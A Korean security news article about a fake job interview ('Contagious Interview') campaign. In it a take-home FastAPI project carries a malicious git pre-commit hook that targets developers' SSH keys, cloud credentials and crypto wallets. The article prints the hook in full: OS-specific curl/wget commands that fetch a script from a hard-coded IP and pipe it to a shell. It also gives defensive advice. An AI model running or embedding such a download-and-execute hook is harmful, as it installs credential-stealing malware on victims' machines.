면접 과제에 숨은 악성코드, 프로그래머의 SSH 키를 노리다

보안소셜 엔지니어링채용

데이터 소스:HN + web research · HN

면접 과제가 악성코드가 된 순간: 한 “채용”의 치밀한 계획

지난주 목요일, Appaji라는 개발자가 LinkedIn 채용 쪽지를 받았다. 월 1만~1.5만 달러의 원격 Python 개발자 직무였고, 면접 절차는 간단했다: 온라인 미팅 한 번과 “숙제”(take-home project)를 수행하는 것. 급여는 매력적이었고, 회사는 Y Combinator 출신 스타트업이었다. 모든 것이 합리적으로 보였다.

하지만 Appaji는 경계를 늦추지 않았다. 프로젝트 압축 파일을 로컬에 다운로드한 후, 평소처럼 tree -a를 실행해 숨겨진 디렉터리를 확인했다. 빽빽한 파일 트리 속에서 평소와 다른 .git/hooks/pre-commit 파일을 발견했다. 열어보니 — 운영체제를 자동으로 감지하는 원격 다운로드 스크립트가 한 줄 적혀 있었다. 사용자의 컴퓨터가 macOS, Linux, Windows 중 무엇인지에 따라 조용히 백도어를 다운로드한 후, 백그라운드에서 무음으로 실행하는 방식이었다. 이는 정교하게 설계된 공격이었다 — SSH 키, AWS 자격증명, 암호화폐 지갑 등을 구직자가 전혀 눈치채지 못하는 사이에 개발 환경 전체를 열린 금고로 만들어 버리는.

LinkedIn 채용 쪽지 스크린샷: 완전히 정상적으로 보이는 채용 시작 메시지

그림: 수신된 LinkedIn 쪽지. 채용 측이 먼저 급여 범위를 공개했는데, 실제 채용에서 드문 일은 아니지만, 돌이켜보면 지나치게 높은 급여가 첫 번째 위험 신호였다.

한 번 “면접”의 완전한 시나리오

Appaji가 공개한 기술 분석을 바탕으로 이 사건의 전체 공격 체인을 재구성했다.

1단계: 피싱 — 누가 높은 급여를 거절하겠는가?

채용 측이 LinkedIn에서 직접 쪽지를 보내 대상에 접근했다. 급여 범위는 극도로 매력적이었고, 인도 시장 상황에서 평균을 훨씬 웃도는 수준이었다. 피해자의 첫 반응은 당연히 “운이 좋다”는 것이었고, 면접 절차도 의외로 순조로웠다: 이력서 제출 후 빠르게 통과.

2단계: 전문가처럼 보이는 코딩 프로젝트

상대방이 Google Drive 링크를 보냈고, ZIP 압축 파일과 PDF 면접 설명서가 들어 있었다. 프로젝트 코드는 FastAPI 백엔드 서비스였고, SQLAlchemy를 ORM으로 사용했다 — 표준 Python 면접 과제 템플릿이다. requirements.txt는 깔끔했고, 의심스러운 서드파티 패키지는 전혀 없었다.

3단계: .git/hooks에 숨겨진 “시한폭탄”

하지만 Appaji가 tree -a로 모든 숨김 파일을 확인했을 때, .git/hooks 디렉터리 아래에 20개 이상의 Git 훅 스크립트가 미리 설치되어 있었다. Git 훅(Git hooks)은 Git 버전 관리 시스템에서 상대적으로 덜 알려졌지만 강력한 기능이다 — 개발자가 특정 이벤트(예: git commit 시)에서 지정된 스크립트를 자동으로 실행할 수 있게 해준다. 원래는 생산성 도구지만, 악용되면 이상적인 악성코드 매개체가 된다.

pre-commit 훅은 git commit을 실행할 때 자동으로 트리거된다. 핵심 로직은 단 몇 줄이다:

#!/bin/sh
case "$(uname -s)" in
  Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
  Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
  MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esac

이 코드는 먼저 대상의 운영체제를 확인한 다음, 원격 서버에서 추가 스크립트를 다운로드해 백그라운드에서 조용히 실행한다 — 사용자의 상호작용이 전혀 필요 없고, 어떤 팝업 알림도 없다. git commit을 실행하는 순간, 눈앞에서 작업이 진행된다.

PDF 면접 설명서에는 하필 Git 조작 문제가 포함되어 있었다 — 지원자에게 코드를 수정하고 커밋할 것을 요구했고, 이는 정확히 이 훅을 트리거시키기 위한 의도였다.

4단계: 다단계 페이로드 — “npm 의존성” 속에 숨은 정보 탈취 프로그램

첫 번째 레이어 스크립트가 다운로드된 후, 같은 서버에서 두 번째 스크립트를 가져와 ~/Documents/에 조용히 저장하고, .sh 파일로 이름을 바꾼 뒤 nohup으로 백그라운드에서 실행한다. 두 번째 스크립트의 목표는 더 명확하다: Node.js를 자동 설치하고, parser.jspackage.json을 다운로드한 후, npm으로 의존성을 설치하고 parser.js를 실행한다.

parser.js는 심하게 난독화되어 있었지만, package.json이 공격 의도를 드러냈다: 의존성에 clipboardy(클립보드 읽기), basic-ftp(FTP 전송), axios(HTTP 요청), jsonwebtoken(JWT 토큰 조작), hardhat(이더리움 개발 도구)이 포함되어 있었다. 공격자가 SSH 키와 AWS 자격증명뿐만 아니라 암호화폐 지갑 정보까지 노리고 있었음을 암시한다.

급여 스크린샷: 월 1만~1.5만 달러, 시장 수준을 훨씬 상회

그림: 채용 측이 첫 소통에서 급여 범위를 공개했다. 사후 분석에 따르면 지나치게 높은 급여 자체가 전형적인 “미끼” 설계였다 — 목표를 흥분과 기대 속에서 경계를 늦추게 하기 위한 것이다.

다른 관점에서: 공격자는 얼마나 전문적이었나?

이 사건은 평범한 악성코드와는 차원이 달랐다.

교묘한 트리거 메커니즘. 공격자는 의도적으로 PDF 면접 설명서에 Git 조작 문제를 포함시켜, 피해자가 “자발적으로” git commit을 실행해 악성 코드를 트리거하도록 만들었다. 모든 단계가 피해자의 행동을 정확히 예측하고 계산되었다.

멀티 플랫폼 지원. 공격 스크립트는 macOS, Linux, Windows 3대 운영체제를 모두 커버했으며, 각 플랫폼에 맞는 다운로드 도구와 명령어를 사용했다. 공격자가 처음부터 특정 개발자 유형에 국한되지 않은 대규모 공격을 계획하고 있었음을 의미한다.

신원 추적 메커니즘. 요청 URL의 id=402 파라미터는 정적이 아니었다. 이 ID를 변경하면 다른 스크립트가 반환되었다. 공격자가 각 피해자에게 고유 식별자를 할당하여, 어떤 대상이 성공적으로 “낚였는지” 추적하고 맞춤형 페이로드를 전달했을 것으로 추정된다.

다양한 전파 방식. 공격자는 .git/hooks에 악성코드를 숨기는 것 외에도, 다른 변종에서는 .vscode 디렉터리의 VSCode 시작 작업을 통해 악성코드를 유포했다. VSCode로 프로젝트 디렉터리를 열고 “신뢰” 버튼을 누르기만 하면 악성 코드가 자동으로 실행된다.

하지만 아마추어적인 면도 있었다. 공격자가 사용한 C2 서버 IP 주소는 하드코딩된 일반 텍스트였고, 가짜 도메인도 없어 현대 악성코드 기준으로는 다소 “원시적”이었다. 하지만 서버의 SSH 버전은 최신 9.6p1이었다 — 공격자가 운영 보안에 어느 정도 신경을 쓰고 있음을 보여준다.

이런 “혼합” 특징 — 부주의함과 정교함이 공존하는 — 은 중형 범죄 조직이 공격 도구를 빠르게 반복 개선하고 있을 가능성을 시사한다.

프로그래머는 왜 “먹잇감”이 되었나?

구직 중인 개발자를 공격 대상으로 삼은 것은 우연이 아니다.

키가 곧 자산이다. 프로그래머(특히 백엔드와 DevOps 쪽)의 컴퓨터에는 거의 필연적으로 SSH 개인키, AWS/GCP/Azure 접근 자격증명, 데이터베이스 비밀번호, API 토큰 등이 저장되어 있다. 개발자 컴퓨터 한 대를 장악하면 해당 회사의 전체 클라우드 인프라에 접근할 수 있는 열쇠를 얻는 셈이다. SSH 개인키 하나의 암시장 가격은 일반인의 은행 계좌 정보보다 훨씬 높다.

신뢰 관성. 면접이라는 상황은 공격에 천연의 은폐막을 제공한다. 사람이 적극적으로 일자리를 찾고 있을 때의 심리 상태는 “인정받고 싶다”와 “상대방의 절차에 협조한다”는 것이다. 면접관이 코딩 문제를 풀게 하고, 저장소를 클론하게 하고, 명령어를 실행하게 하는 것 — 이러한 요구는 지원자에게 완전히 정상적으로 보인다. 공격자는 이러한 비대칭적 신뢰를 정확히 활용했다.

기술적 장벽 낮고, 수익은 높다. 그럴듯한 FastAPI 프로젝트를 만드는 데는 몇 시간이면 충분하다. 실제 존재하는 오픈소스 저장소를 클론하고, 악성 훅을 추가한 후 다시 패키징하는 것 — 비용은 극히 낮은 반면, 한 번 성공하면 잠재적 수익은 수십만 달러에 달한다.

”면접 공격”이 급증하고 있다

Appaji의 사례는 고립된 사건이 아니다. Microsoft 보안팀은 이러한 공격을 “Contagious Interview”(전염성 면접) 라고 명명했으며, 최소 2022년 12월부터 시작된 활동으로, 공격자가 암호화폐나 AI 회사의 채용 담당자로 위장해 코드 호스팅 플랫폼을 통해 백도어가 포함된 코딩 과제를 유포해왔다고 밝혔다.

보안 커뮤니티 통계에 따르면, 2026년 상반기 이러한 “면접 공격” 사례는 전년 동기 대비 두 배 이상 증가했다. Hacker News에서는 여러 개발자가 비슷한 경험을 공유했다 — 그중 IvanGoncharov라는 개발자는 온라인 면접에서 저장소를 클론하고 실행하라는 요구를 받았고, 면접이 끝난 후 “CTO”가 건강 문제로 이후 일정을 취소했으며, 며칠 후 HR의 LinkedIn 계정도 사라졌다고 밝혔다. Appaji의 글을 보고서야 자신이 이미 당했음을 깨달았다고 한다 — 그는 주간 다운로드 수 4300만이 넘는 인기 npm 패키지의 전직 메인테이너였기에 더 가치 있는 표적이 되었고, 결국 컴퓨터를 완전히 포맷하고 운영체제를 재설치해야 했다.

".npl" 확장자의 검색 결과 — 이 특수 접미사는 악성 페이로드의 초기 명명에 사용되었다

그림: 검색 결과, .npl 확장자는 알려진 APT 공격 활동과 연관이 있는 것으로 나타났다. 공격자는 1차 페이로드에서 이 확장자를 사용해 간단한 파일명 검사를 우회했다.

어떻게 스스로를 보호할까: 구직자를 위한 실용적 조언

공포를 조장하려는 것은 아니지만, 기본적인 예방책을 알면 다음 피해자가 되는 것을 피할 수 있다. 몇 가지 조언을 소개한다:

1. 항상 격리된 환경에서 면접 프로젝트를 실행하라. 로컬에서 면접 프로젝트를 실행하기 전에 가상 머신이나 Docker 컨테이너로 격리하라. tree -als -la를 실행해 비정상적인 숨김 파일이나 사전 설치된 훅 파일이 있는지 확인하라.

2. .git/hooks.vscode 디렉터리를 확인하라. 면접 프로젝트에 Git 저장소가 포함되어 있다면 먼저 .git/hooks 디렉터리에 불필요한 스크립트, 특히 pre-commitpost-checkout이 있는지 확인하라. VSCode 프로젝트는 .vscode/tasks.json.vscode/launch.json을 점검하라.

3. “고연봉 + 간단한 면접” 조합에 경계하라. 고연봉이 항상 문제라는 뜻은 아니다. 하지만 시장 가격을 크웨 웃도는 급여에 극도로 간소화된 면접 절차가 결합되었다면 그 자체로 경계해야 할 신호다.

4. 면접용 컴퓨터에 중요한 자격증명을 보관하지 마라. 구직 활동 기간 동안 “깨끗한” 개발 장비나 가상 환경을 사용하고, 중요한 SSH 키와 클라우드 서비스 자격증명은 면접 프로젝트를 실행할 수 있는 기기에 보관하지 않는 것을 고려하라.

5. 의존성과 빌드 스크립트를 확인하라. npm install이나 pip install을 실행하기 전에 package.json, requirements.txt, Makefile을 먼저 살펴보라 — 불합리한 의존성 패키지가 있는가? 설치 시 트리거되는 스크립트가 있는가?

6. 채용 담당자 LinkedIn 프로필의 “유통기한”을 주의하라. 채용 담당자의 LinkedIn 계정이 지나치게 “새롭다면”(생성된 지 얼마 안 되었고, 연락처가 적으며, 경력이 모호하다면) 가짜 계정일 가능성이 높다. 진짜 채용 담당자는 보통 수년간의 HR 경력과 가시적인 직업 네트워크를 가지고 있다.

마치며

이 이야기를 다시 읽을 때면, “거의 믿을 뻔했다”는 그 아슬아슬한 지점이 가장 생각하게 만든다. Appaji 자신도 인정했듯이, CTF 대회에서 숨김 디렉터리를 확인하는 습관이 없었다면 그도 그냥 git commit하고 푸시했을 것이다 — 그는 공격자가 예상하는 “완벽한 피해자” 프로필에 정확히 부합했다: 경험이 있고, 기술이 뛰어나며, 구직 중인 개발자.

이런 공격의 무서운 점은 인간 사회의 가장 기본적인 신뢰 메커니즘을 이용한다는 것이다 — “면접관이 시키는 일은 안전하고 필요한 것이다.” 악성 코드가 아무렇지도 않은 구직 절차로 포장되었을 때, 가장 진보된 안티바이러스 소프트웨어도 무력하다.

어쩌면 디지털 보안의 전장에서, “이번에는 괜찮겠지”라는 그 마음이야말로 진짜 취약점인지도 모르겠다.


참고 링크

  • I Inspected My Take-Home Interview Project. It Was a Whole Operation (원문)
  • Contagious Interview: Malware delivered through fake developer job interviews (Microsoft 보안 블로그)
  • Fake Job Interview Backdoor Malware Targeting Developer Machines (DEV Community)
  • Contagious Interview malware in SVG images: DPRK campaign (Elastic Security Labs)
  • Hacker News 토론글 (ID: 49013036)